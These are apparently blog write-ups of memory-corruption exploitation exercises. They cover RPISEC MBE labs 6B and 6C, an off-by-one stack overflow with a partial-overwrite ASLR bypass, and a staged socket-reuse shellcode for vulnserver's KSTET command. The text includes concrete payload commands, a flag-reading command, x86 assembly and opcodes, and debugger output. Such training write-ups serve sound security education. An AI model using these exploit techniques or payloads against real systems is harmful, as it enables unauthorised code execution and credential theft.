Calculate the current ASLR-ed address of the login() function by preserving 20 most significant bits from the original saved RET and adding the fixed offset 0xaf4 to it:

Now crafting the payloads for saved RET and attempts. We want such a value, which, when XOR-ed with currently messed up saved RET on the stack, will become the new_ret address. As we know the current value of the messed up saved RET (the xored_ret variable), we XOR it the new_ret and save it in new_ret_payload.  When this value gets XOR-ed with xored_ret in one stack with a hash_pass() call, two XOR-s with xored_ret will make that value equal new_ret (this is why I titled it "madness"):

Now the attempts value. We decode it with the 0x52 key from the first attempt, increment it by one (to get past the last, third iteration of the while loop instead of having to perform another dummy authentication attempt) and encode it back :

Now, one last layer of encoding. Before sending, we need to XOR everything with the username value we chose for the second attempt, so the hash_pass() call XOR-ing the password with it will reverse this process, making those values ready to be XOR-ed against the rest of the stack:

And lastly, we assemble the payload, fill it up to 32-bytes with some arbitrary character (e.g. 'E') and send it:

And here we go. Triggering the leak and the first out-of-bonds XOR:

Receiving the leak:

Sending the second authentication attempt payload:

And we're done:

The full source code with comments can be found here:

https://github.com/ewilded/MBE-snippets/blob/master/lab6B/exploit_remote.py

About MBE

Some time ago I came across RPISEC's free Modern Binary Exploitation course (https://github.com/RPISEC/MBE) which I can't recommend enough. You get lectures, challenges and a ready out-of-the-box operational Ubuntu VM to play with. Yup, this course is Linux-focused, which made it a great extension to my recently passed OSCE (which is, or at least was at the time, Windows-only). After completing only about 16, maybe 17 challenges (there are ten chapters, 3 challenges each => 30 + 2 additional challenges with no source code provided) I can conclude I learned comparably as much as doing my OSCE, but quite different knowledge (again, different OS and also different techniques), which again is great. And finally got myself together to put some of my notes out here. If you don't feel like doing but would like to get the feel, this is a read for you.

How it works

Our environment is the VM provided RPISEC (can be found here https://github.com/RPISEC/MBE/releases/download/v1.1_release/MBE_VM.vmdk.gz).

The target program is usually a setuid binary, running with its owner's effective uid. If we can execute arbitrary code, we steal the flag which is always located in /home/<USER>/.pass (which is a clear text unix password for that user account), whereas <USER> corresponds to the current target level. E.g. lab6C is the start user for the level 6, lab6B is the target user, hence /levels/lab06/lab6C is a setuid binary owned by lab6B so we obtain the pass and therefore can advance to the next level. Please refer to RPISEC's github page to find all info, including credentials, slides, resources and so on.

lab6C

This challenge (https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6C.c) is the first one from level 6, which should be done with ASLR turned on for all the time.

This is how the program behaves when we're not trying to abuse it (it does not really send our 'tweet' anywhere, just internal buffer operations):

Now, spoiler alert, first a quick glance at the source code to see where the vulnerability is.

First, there are some self-explanatory definitions:

Then it gets more interesting:

We have a secret_backdoor() function which simply reads up to 128-byte string from the standard input and then performs the libc system() wrapper on the exec() syscall (with a fork() and sh). The function is not explicitly called anywhere from the code, so it's clear we are not going to need a shellcode here; it's all about redirecting the execution to this function.

Now, to the vulnerability. We have several functions calling each other, so let's go through them in the order of the call sequence.

First, we have a standard main() function:

And here is the handle_tweet() function:

So, a local instance of the savestate structure (which was declared in the beginning of the file) is defined here, locally, on the stack.

username and msglen fields are initialized, then there are two two calls; set_username() and set_tweet(), respectively. Both calls take a pointer to the save instance of the savestate structure (so the pointer will point at the handle_tweet() function's stack). And this is the stack we are about to overflow (we'll get to how in a minute) to redirect the execution flow, overwriting handle_tweet's saved RET pointing back to main (the next instruction after the handle_tweet() call, which is just a return EXIT_SUCCESS;.

To illustrate, this is a simplified stack layout while inside of the handle_tweet() function, after the local struct was defined, but before the two set_username() and set_tweet() calls:

We will overwrite the save.tweet buffer outside its 140 bytes and write down over the username, msglen and then the saved RET.

Once the handle_tweet() function call returns, instead of going back to the last instruction of main(), the execution flow will go to our secret_backdoor() function.

So, the overflow must be possible in one of the two set_username(), set_tweet() functions. They both take a pointer to that buffer, so they can operate on it.

Let's see the set_username() function then:

Looks OK at the first glance. The devil's in the details (line 75):

for(i = 0; i <= 40 && readbuf[i]; i++) // this is where the problem starts
    save->username[i] = readbuf[i]; //write

The <= conditional operator (instead of just <) is the culprit here. Instead of being able to write up to 40 bytes of the username, we can write 41. One byte more - which is enough to overwrite the previously initialized value of 140.

So once the set_username() call returns, the username is set, while the msglen is set to an arbitrary value that we will smuggle in the additional 41-th byte provided as the username.

This is how the second function, set_tweet(), looks like:

So the function has a quite big (1024 bytes, even too big for our needs) local buffer. To keep the big picture clear, this is how the stack will look like inside the set_tweet() function call, after calling fgets(), but before calling strncpy():

And this is where the buffer overflow that will allow us to overwrite the bottom saved RET occurs (lab6C.c:59):

strncpy(save->tweet, readbuf, save->msglen);

If we provide an arbitrary one-byte integer value higher than 140 in the 41-st byte of the username, we'll then be able to write more than 140 bytes from the 1024-byte local buffer, starting at the savestate.tweet address, up until the saved RET to overwrite with the address of the secret_backdoor() function.

Controlling the message length

Let's start simple and crash the program.

As at the time I started this I did not know a better way to provide arbitrary (non-printable) input using standard input/output without actual coding, here is how I was doing it (using two console windows simultaneously):

1) in one console window, I touched a file to use as an input buffer: /tmp/input6C

2) in the second window, I ran the following to have the program read all the input from that file as it appears:

gdb /levels/lab06/lab6C
[... once gdb loaded ....]
run < `tail -f /tmp/input6C`

In the first window I could then play with the printf command, putting arbitrary bytes into the /tmp/input6C, so they would go to the standard input of the target process.

We know we would need at least 140 + 40 + 8 bytes to overwrite the saved RET. Should actually be more, considering saved EBPs (stack frames) and function arguments. Something around 200. To find out how many bytes exactly do I need to overwrite to control the EIP, I used pattern_create output (some folks prefer to use the one provided with metasploit, I use one of the python implementations that can be found on github).

Already knowing that the 41-st byte of the first input line is the integer controlling the message length, I knew the username should look like this:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0xff

We set the new message length to maximum value possible 0xff (255), to make sure we overwrite the saved RET without caring what else do we overwrite.

The next line should be the pattern_create output, so here goes (this is actually pattern_create 400 output):

lab6C@warzone:/tmp$ printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff" >> input6C

lab6C@warzone:/tmp$ echo "" >> input6C

lab6C@warzone:/tmp$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A" >> input6C

Sending that input to the target process attached to gdb, reading from tail -f /tmp/input6C, resulted in this:

Guessed arguments:
arg[0]: 0xbffff518 --> 0xb7fd8000 (">>: >: Welcome, ", 'A' <repeats 40 times>, "\377>: Tweet @Unix-Dude\n")
arg[1]: 0xbffff0f0 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7[...]Ag2Ag3Ag4Ag5Ag"...)
arg[2]: 0xff

Invalid $PC address: 0x67413567
[------------------------------------stack-------------------------------------]
0000| 0xbffff5e0 ("6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0004| 0xbffff5e4 ("Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0008| 0xbffff5e8 ("g9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0012| 0xbffff5ec ("0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0016| 0xbffff5f0 ("Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0020| 0xbffff5f4 ("h3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0024| 0xbffff5f8 ("4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0028| 0xbffff5fc ("Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x67413567 in ?? ()

So yeah, the saved RET was overwritten, as set_tweet() read whole 400 bytes of the pattern written to the readbuf, while msglen set to 255 made strncpy() copy 255 bytes from it to the save.tweet buffer, overwriting everything the entire save structure and the saved RET below it as illustrated on the diagram above.

0x67413567 in ?? () means this is what we wrote to the saved RET, and, in consequence, what went to the EIP register. The program crashed (segmentation fault), as this is not a valid address in its virtual address space). It's a unique 4-character sequence from the 400-byte pattern string we used.

To see what is the exact number of bytes between the beginning of our controlled buffer and the saved RET we run the pattern_offset tool (comes along with pattern_create) with it as argument, so it calculates this for us:

ewilded@localhost:~$ pattern_offset 67413567
hex pattern decoded as: g5Ag
196

So far so good.

For starters, to make this process simpler, we are going to develop this exploit with ASLR disabled. Once we think the exploit's ready, we turn ASLR back on (use the gameadmin:gameadmin credentials to get sudo su on the VM):

root@warzone:/home/gameadmin# echo 0 > /proc/sys/kernel/randomize_va_space
root@warzone:/home/gameadmin# cat /proc/sys/kernel/randomize_va_space
0

OK, let's peek where the secret_backdoor() function is (from attached gdb):

gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0x8000072b <secret_backdoor>

So, after our 196 bytes of garbage, we should put 0x8000072b into our buffer to move the execution to the secret_backdoor() function (and then the last thing would be to provide a command to execute).

We can already say using this address won't work because it contains a nullbyte (doesn't go well with string-operating functions like fgets()).

Also, we know this address will be randomized with ASLR on, so using a fixed address won't do. Without leaking the memory layout somehow and calculating the address based on known offsets, we could either bruteforce (just keep running the exploit until our hardcoded address happens to be the correct one... this is just a 4-byte address as we're dealing with 32-bits, which is bad enough, while with x64 the likelihood is practically never)... Or perhaps perform so called partial overwrite instead.

Partial overwrites

ASLR only partially randomizes virtual addresses - which means only some of the bytes (the more significant ones, 'on the left') are hard to predict, while the least significant bytes (the ones 'on the right') - which are just the offsets within the code segment and are known to us as long as we can read the binary - stay untouched.

For example, 0x8000072b under ASLR becomes 0xbf76072b.  

So, the OS does partial ASLR on the more significant bytes, leaving the least significant bytes alone. Thus, to keep things fair, we do a partial overwrite too, but on the least significant bytes (so we only overwrite one or two bytes instead of all 4), while leaving the two more significant bytes alone, because they already have the proper valid values set by the OS and we don't need to know them at all to attain a valid ASLR-ed address (as long as we're redirecting the execution to an instruction in the same text segment).

Of course partial overwrites are not always possible. In this case, we can use 196 bytes of garbage + 2 bytes of arbitrary offset within the code segment to change the saved RET to the address of secret_backdoor().

Moving on with the exploit

So, our exploit is (we're still playing without ASLR yet):

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff" >> input6C
echo -e "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x2b\x07" >> input6C
echo "cat /home/lab3C/.pass" >> input6C

And it fails like this:

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000a072b in ?? ()

Interestingly, the newline character got copied in. Also, for some reason, the next character was nullified, just like the entire string was copied instead of just 198 bytes we wanted.

Oh right. This is because we're still overwriting the msglen with the maximum possible value of 255 (0xff). Instead, we should use 0xc6 (198).

Ironically, before I realized this little mistake, a managed to search for existing solutions to peek from in case I got stuck and found this amazing repository:

https://github.com/Corb3nik/MBE-Solutions

So I looked at the lab6C solution only to discover that it is using pwnlib (true awesomeness, making exploit dev much easier and allowing me to ditch the retarded tail -f thing :D).

After carefully analysing the code I decided to just give it a go, but from the very beginning I knew something wasn't right (line 12):

payload = p8(0xff) * 196
payload += p32(0xb775d72b)

The payload sent to the program as the 'tweet' content consists of 196 bytes (49 dwords) + a dword -> 200 dwords. So, the last dword 0xb775d72b does not seem to be a partial overwrite, but a full overwrite with a fixed address instead.

The only explanation I thought of was that the author left the PoC with a fixed value of secret_backdoor() function from the non-ASLR version of the exploit - or extracted the information about the memory layout from somewhere else and calculated the address with ASLR on. Anyway, I knew it would not work on my VM and guess what - it in fact didn't :D

So I decided to take corb3nik's solution code as a template and modify it so I could attach to the running process with gdb once its PID is known and then see exactly what's going on:

https://github.com/ewilded/MBE-snippets/blob/master/lab6C/ex_attempt.py

Setting the context.log_level variable to = 'debug' showed the real awesomeness of pwnlib, displaying all the input/output exchanged with the app in hex, revealing all the non-printable characters along with how many bytes were received/sent.
Very, very helpful.

So, I made this version that worked on non-ASLR:

https://github.com/ewilded/MBE-snippets/blob/master/lab6C/ex_attempt2.py

And did not want to work once I switched ASLR back on.

So I ran the debugger again, only to see that the text segment addresses changed from non-ASLR 0x80000XXX to ASLR-ed 0xb77YYXXX (whereas XXX is the Relative Virtual Address - the fixed offset within the segment, while YY is the only really randomized part).

For example, secret_backdoor() had, depending on the instance, values like:

`0xb775e72b`
`0xb773a72b`
`0xb77dd72b`

So e != a (the '7' halfbyte remains unaffected) and we can't do partial half-byte writes... Which in this case can be simply and non-elegantly solved with a small bruteforce. Just stick to any fixed second least-significant byte value you see in gdb, in my case such as 'a7', 'e7', '17' and so on. Statistically one in 16 attempts should work, in my case the result was more like one in 8), which in this case (a local console app) is acceptable - it just has to be kept in mind this exploit is not 100% reliable (https://github.com/ewilded/MBE-snippets/blob/master/lab6C/ex_attempt2_aslr.py).

The purpose of writing this up was only to present a little trick I came up with while playing with vulnserver's (http://www.thegreycorner.com/2010/12/introducing-vulnserver.html) KSTET command (one of many protocol commands vulnerable to some sort of memory corruption bug). In spite of the hardcoded addresses, 32-bitness and general lazyness, this technique should as well work in more modern conditions.

After hijacking EIP it turned out there was too little space, both above and below the overwritten saved RET, to store an actual windows shellcode (at least 250 bytes or more) that could run a reverse shell, create a user or run an executable from a publicly accessible SMB share.

Also, it did not seem to be possible to split the exploitation into two phases and first deliver the shellcode somewhere else into memory and then only use an egghunter (70 bytes to store the payload, enough for a 31-byte egghunter, not enough for the second-stage shellcode)... so I got inspired by a xpn's solution to the ROP primer level 0 (https://blog.xpnsec.com/rop-primer-level-0/) where the final shellcode was read onto the stack from stdin by calling read().

Having only about 70 bytes of space, I decided to locate the current server socket descriptor and call recv on it, reading the final stage shellcode onto the stack and then execute it. This write up describes this process in detail.

Controlling the execution

Below is the initial skeleton of a typical exploit for such an overflow. We control 70 bytes above the saved RET, then the saved RET itself ("AAAA"). Then we stuff 500 bytes of trash, where in the final version we'd like to put our shellcode, so we could easily jump to it by overwriting the saved RET with an address of a "JMP ESP" instruction (or something along these lines):

Once the crash occurs, we can see that we only control first 20 bytes after the saved RET, the rest of the payload is ignored:

So, we're going to use the first 20 bytes below the saved RET as our first stage shellcode, only to jump to the 70 bytes above the saved RET, which will be our second stage. The second stage, in turn, will download the final (third) stage shellcode and execute it.

First, we search for a "JMP ESP" instruction so we can jump to the first stage.

A convenient way to do so is to use mona, searching for the JMP ESP opcode:

!mona find -s "\xff\xe4"

We pick an address that does not contain NULL characters, preferably from a module that is using the least number of safety features as possible (essfunc.dll is a perfect candidate):

The addresses will most likely differ on your system.

0x625011af will be used for the rest of this proof of concept.

We toggle a breakpoint at it, so we can easily proceed from here in developing the further stages of the shellcode:

Now our PoC looks as follows (we used 20 NOPs as a holder for the first stage):

We run the PoC and hit the breakpoint:

Once we do a step (F7), we can see the execution flow is redirected to the 20-byte NOP space, where our first stage will be located (so far, so good).

At the top we can see the second stage buffer, at bottom we can see the first stage buffer. In between there is the overwritten RET pointer, currently pointing to the JMP ESP instruction that lead us here:

First stage shellcode

We want our first stage shellcode to jump to the start of the second stage shellcode (there is not much more we can do at this point on the only 20 bytes we control).

As we know EIP is equal to our ESP, as we just did a JMP ESP, we don't need to retrieve the current EIP in order to change it. Instead, we simply copy our current ESP to a register of choice, subtract 70 bytes from it and perform a JMP to it:

PUSH ESP ; we PUSH the stack pointer to the stack
POP EDX ; we pop it back from the stack to EDX
SUB EDX,46 ; we subtract 70 from it, pointing at the beginning of the buffer for the second stage shellcode
JMP EDX ; we JMP to it

OllyDbg/Immunity Debugger allow assembling instructions inline while debugging (just hit space to edit), which is very handy in converting our assembly to opcode without the need of using additional tools like nasmshell or nasm itself:

So, our second stage is simply

\x54\x5A\x83\xEA\x46\xFF\xE2

Also, for the time of development, for our convenience, we can prepend it with an inline breakpoint \xCC instruction, as Immunity loses the breakpoint set on the initial JMP ESP with every restart. Just remember to remove the \xCC/replace it with a NOP in the final exploit, otherwise it will cause an unhandled exception leading to a crash!

At this stage, our POC looks as follows (NOPs in the first stage were only added for visibility, they won't ever get executed). Also, the holder for the second stage was filled with NOPs as well:

As we can see, the first stage does its job, moving the execution flow to the second stage:

Second stage shellcode

Now, this is where the fun begins. As mentioned before, we want to use the existing server application's socket descriptor and call WS2_32.recv on it, so we can read as much data from it as we want, writing it to a location we want and then jump to it - or even better, write it to a suitable location so the execution flow slides to it naturally.

First, we find the place in code where the original WS2_32.recv is issued, so we can see how that takes place (e.g. what is its address and how arguments are passed, where to find them and so on).

Luckily, the section is not far away from the executable's entry point (the first instruction program executes, also the first instruction we are at once we start it in the debugger):

As we scroll down we can see we are getting somewhere:

And here we go:

We toggle a breakpoint, restart the application, make a new client connection and send something to the server. The breakpoint is hit and we can see the stack:

The part that got our interest:

00FAF9E0 00000058 |Socket = 58
00FAF9E4 003A3CA0 |Buffer = 003A3CA0
00FAF9E8 00001000 |BufSize = 1000 (4096.)
00FAF9EC 00000000 |Flags =

Also (an Immunity/OllyDbg tip); if we hit space on the actual CALL instruction where our current breakpoint is, we can see the actual address of the instruction called (we will need this later):

Now we can compare the current stack pointer at the time of our execution hijack with the one recorded while the orignal WS2_32.recv was done. We are hoping to estimate the offset between the current stack pointer and the location of the socket descriptor, so we culd use it again in our third stage.

As it turns out, the stack we are currently using points to the same location, which means the copy of the socket descriptor identifier used by the original recv() has been overwritten with further stack operations and the overflow itself:

Hoping to find a copy of it, we search the stack for its current value.

Right click on the CPU window - which represents the stack at the moment -> search for -> binary string -> 00 00 00 58 (the identifier of the socket at the time of developing, but we don't want to hardcode it as it would normally differ between systems and instances, hence the hassle to retrieve it dynamically).

We find another copy on the stack (00F2F969):

We calculate the offset between the location of the socket descriptor id copy and the current stack pointer at the time our second stage shellcode starts (119 DEC). This way we'll be able to dynamically retrieve the ID in our second stage shellcode.

Also, there is one more problem we need to solve. Once we start executing our second stage, our EIP is slightly lower than the current ESP.

As the execution proceeds, the EIP will keep going towards upper values, while the ESP is expected to keep going towards lower values (here comes the Paint):

Also, we want to write the final stage shellcode on the stack, right below the second stage, so the execution goes directly to it, without the need to jump, as illustrated below:

Hence, once we have all the info needed to call WS2_32.recv(), we'll need to move the stack pointer above the current area of operation (by subtracting from it) to avoid any interference with the shellcode stage instructions:

So, the shellcode goes like this:

PUSH ESP
POP ECX ; we simply copy ESP to ECX, so we can make the calculation needed to fetch the socket descriptor id
SUB CL,74 ; SUB 119 (DEC) from CL - now ECX points at the socket descriptor ID, which is what we need to pass to WS2_32.recv
SUB ESP,50 ; We have to move the current stack pointer above the second stage shellcode (above the current EIP), otherwise we would make it cripple itself with any stack operations performed by WS2_32.recv we are going to call, also this way we will avoid any collision with the buffer we are going to use for our final stage shellcode. From this point we don't have to worry about it anymore.
XOR EDX,EDX ; zero EDX (the flags argument for recv),
PUSH EDX ; we push our first argument to the stack, as arguments are passed via stack here
ADD DH,2 ; now we we turn EDX into 512 by adding 2 to DH
PUSH EDX ; we push it to the stack (BufSize, the second argument)
; retrieve the current value of ESP to EBX
PUSH ESP
POP EBX
; increment it by 0x50 (this value was adjusted manually after experimentig a bit), so it points slightly below our current EIP
ADD EBX,50 ; this is the beginning of the buffer where the third stage will be written
PUSH EBX ; push the pointer to the buffer on the stack (third argument)
; now, the last argument - the socket descriptor - we push the value pointed by ECX to the stack:
PUSH DWORD PTR DS:[ECX]

So, we are almost done.

Now we have to call the WS2_32.recv() function the same way the original server logic does. We take the address used by the original CALL instruction (0040252C - as it was emphasized we would need it later).

The problem we need to deal with is the fact the address starts with a NULL byte - which we cannot use in our shellcode.

So, to get round this, we are going to use a slightly modified version of it, e.g. 40252C11, and then perform a shift 8 bits to the right. This way the least significant byte will vanish, while a null byte becomes the new most significant byte (SHR(40252C11) => 0040252C):

MOV EAX,40252C11
SHR EAX,8
CALL EAX

Our full PoC looks as follows:

The stack during the execution of the second stage right before the third stage is delivered:

The stack right after the return from WS2_32.recv():

Yup, full of garbage we control:

Now we can replace the 500 "\xCC" with our favorite shellcode.

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